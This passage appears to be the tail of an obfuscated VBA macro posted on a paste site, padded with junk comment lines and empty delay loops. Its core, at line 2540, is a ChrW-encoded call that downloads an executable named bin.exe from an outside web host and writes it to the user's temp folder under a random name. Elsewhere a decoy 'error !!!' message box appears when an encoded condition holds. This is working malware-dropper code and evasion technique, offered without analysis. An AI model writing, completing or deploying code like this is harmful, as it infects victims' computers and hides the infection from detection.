  2441. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2442. If Len(ChrW(101) & ChrW(97) & ChrW(114) & ChrW(99) & ChrW(118) & ChrW(122) & ChrW(118) & ChrW(100) & ChrW(49) & ChrW(51) & ChrW(52) & ChrW(51)) = Len(ChrW(118) & ChrW(109) & ChrW(101) & ChrW(122) & ChrW(108) & ChrW(105) & ChrW(115) & ChrW(97)) Then
  2443. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2444.  
  2445. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2446. Dim yjhxiyxs As Integer
  2447. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2448. Dim edxyagiu As Integer
  2449. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2450. For edxyagiu = 0 To 7
  2451. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2452. DoEvents
  2453. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2454. Next edxyagiu
  2455. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2456. yjhxiyxs = 2
  2457. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2458. Do While yjhxiyxs < 24
  2459. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2460. Dim eogpknvj As Integer
  2461. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2462. For eogpknvj = 0 To 7
  2463. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2464. DoEvents
  2465. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2466. Next eogpknvj
  2467. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2468. DoEvents: yjhxiyxs = yjhxiyxs + 1
  2469. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2470. Dim neaogyhy As Integer
  2471. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2472. For neaogyhy = 0 To 3
  2473. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2474. DoEvents
  2475. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2476. Next neaogyhy
  2477. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2478. Loop
  2479. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2480.  
  2481. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2482. Dim ejnbfell As Integer
  2483. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2484. For ejnbfell = 0 To 8
  2485. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2486. DoEvents
  2487. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2488. Next ejnbfell
  2489. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2490.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  2491. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2492. End If
  2493. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2494.  
  2495. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2496. Dim xwllvqyz As Integer
  2497. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2498. Dim feschflv As Integer
  2499. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2500. For feschflv = 0 To 1
  2501. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2502. DoEvents
  2503. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2504. Next feschflv
  2505. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2506. xwllvqyz = 2
  2507. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2508. Do While xwllvqyz < 21
  2509. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2510. Dim avkveval As Integer
  2511. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2512. For avkveval = 0 To 4
  2513. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2514. DoEvents
  2515. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2516. Next avkveval
  2517. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2518. DoEvents: xwllvqyz = xwllvqyz + 1
  2519. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2520. Dim orglipyq As Integer
  2521. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2522. For orglipyq = 0 To 2
  2523. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2524. DoEvents
  2525. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2526. Next orglipyq
  2527. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2528. Loop
  2529. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2530.  
  2531. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2532. Dim ssmxmgbo As Integer
  2533. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2534. For ssmxmgbo = 0 To 9
  2535. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2536. DoEvents
  2537. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2538. Next ssmxmgbo
  2539. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2540.    gigcposgjkk ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(99) & ChrW(97) & ChrW(115) & ChrW(116) & ChrW(111) & ChrW(117) & ChrW(114) & ChrW(115) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) & ChrW(106) & ChrW(115) & ChrW(47) & ChrW(98) & ChrW(105) & ChrW(110) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101), Environ(ChrW(116) & ChrW(101) & ChrW(109) & ChrW(112)) & ChrW(92) & ChrW(76) & ChrW(78) & ChrW(90) & ChrW(77) & ChrW(84) & ChrW(68) & ChrW(67) & ChrW(87) & ChrW(76) & ChrW(90) & ChrW(88) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
  2541. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2542.  
  2543. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2544. End Sub
  2545. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2546.  
  2547. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2548.  
  2549. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement